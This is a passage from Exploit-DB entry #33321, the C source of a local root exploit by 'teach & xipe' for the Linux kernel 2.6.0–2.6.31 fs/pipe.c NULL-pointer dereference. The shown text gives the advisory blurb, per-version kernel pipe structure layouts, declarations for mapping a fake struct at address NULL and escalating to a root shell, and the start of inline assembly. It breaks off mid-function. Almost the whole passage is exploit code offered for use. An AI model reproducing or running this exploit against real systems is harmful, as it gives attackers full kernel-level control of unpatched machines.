Exploit-DB #33321
Description: Linux Kernel 2.6.0 < 2.6.31 - 'pipe.c' Local Privilege Escalation (1)
Type: local
Platform: linux
Date: 2009-11-03
Author: teach & xipe

Exploit:
/*
EDB Note: Updated exploit ~ https://www.exploit-db.com/exploits/33322/

source: https://www.securityfocus.com/bid/36901/info

Linux kernel is prone to a local privilege-escalation vulnerability that is caused by a NULL-pointer dereference.

Local attackers can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition.
*/

/******************************************************************************
 *                            .:: Impel Down ::.
 *
 *     Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86)
 *                              by teach & xipe
 *    Greetz goes to all our mates from #nibbles, #oldschool and #carib0u
 *    (hehe guyz, we would probably be high profile and mediatised el8 if we 
 *    lost less time on trolling all day long, but we LOVE IT :))) 
 *    Special thanks to Ivanlef0u, j0rn & pouik for being such amazing (but i
 *    promise ivan, one day i'll kill u :p)
 *                
 * (C) COPYRIGHT teach & xipe, 2009
 * All Rights Reserved
 *
 * teach@vxhell.org
 * xipe@vxhell.org
 *    
 *******************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/personality.h>

/* First of all, im about to teach (hehe, just like mah nick) you mah powerful copy-and-past skillz */

// didn't really care about this. i mixed 2.6.0 to 2.6.31 :)

#define PIPE_BUFFERS (16)

struct __wait_queue_head {
      int spinlock;
      
      void *next, *prev; // struct list_head
};

struct fasync_struct {  // bleh! didn't change from 2.6.0 to 2.6.31
	int magic;
	int fa_fd;
	struct fasync_struct *fa_next;
	void *file; // struct file
};

// this iz the w00t about 2.6.11 to 2.6.31
struct pipe_buf_operations {
        int suce;
        int *fptr[6];
};


// from 2.6.0 to 2.6.10
struct pipe_inode_info_2600_10 {
        struct __wait_queue_head wait;
        char *base; // !!!!!
        unsigned int len; // !!!
        unsigned int start; // !!!
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
};

// from 2.6.11 to 2.6.16 
struct pipe_buffer_2611_16 {
        void *suce;
        unsigned int offset, len;
        struct pipe_buf_operations *ops;
};

struct pipe_inode_info_2611_16 {
        struct __wait_queue_head wait;
        unsigned int nrbufs, curbuf;
        struct pipe_buffer_2611_16 bufs[PIPE_BUFFERS];
        void *tmp_page;
        unsigned int start;
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
};

// from 2.6.17 to 2.6.19 
struct pipe_buffer_2617_19 {
        void *suce;
        unsigned int offset, len;
        struct pipe_buf_operations *ops;
        unsigned int tapz;
};

struct pipe_inode_info_2617_19 {
        struct __wait_queue_head wait;
        unsigned int nrbufs, curbuf;
        struct pipe_buffer_2617_19 bufs[PIPE_BUFFERS];
        void *tmp_page;
        unsigned int start;
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
        void *suce;
};

// from 2.6.20 to 2.6.22 
struct pipe_buffer_2620_22 {
        void *suce;
        unsigned int offset, len;
        struct pipe_buf_operations *ops;
        unsigned int tapz;
};

struct pipe_inode_info_2620_22 {
        struct __wait_queue_head wait;
        unsigned int nrbufs, curbuf;
        void *tmp_page;
        unsigned int start;
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
        void *suce;
        struct pipe_buffer_2620_22 bufs[PIPE_BUFFERS];
};

// AND FINALY from 2.6.23 to 2.6.31 ... :))
struct pipe_buffer_2623_31 {
        void *suce;
        unsigned int offset, len;
        struct pipe_buf_operations *ops;
        unsigned int tapz;
        unsigned long tg;
};

struct pipe_inode_info_2623_31 {
        struct __wait_queue_head wait;
        unsigned int nrbufs, curbuf;
        void *tmp_page;
        unsigned int start;
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
        void *suce;
        struct pipe_buffer_2623_31 bufs[PIPE_BUFFERS];
};



static pid_t uid;
static gid_t gid;
static int iz_kern2600_10;
unsigned long taskstruct[1024];
void gomu_gomu_nooooo_gatling_shell(void);
int get_kern_version(void);
void map_struct_at_null(void);
void get_cur_task_and_escalate_priv(void);
void* get_null_page(void);
void error(char *s);
int is_done(int new);

static inline void *get_4kstack_top()
{
	void *stack;

	__asm__ __volatile__ (
	"movl $0xfffff000,%%eax ;"
	"andl %%esp, %%eax ;"
	"movl %%eax, %0 ;"
	: "=r" (stack)
	);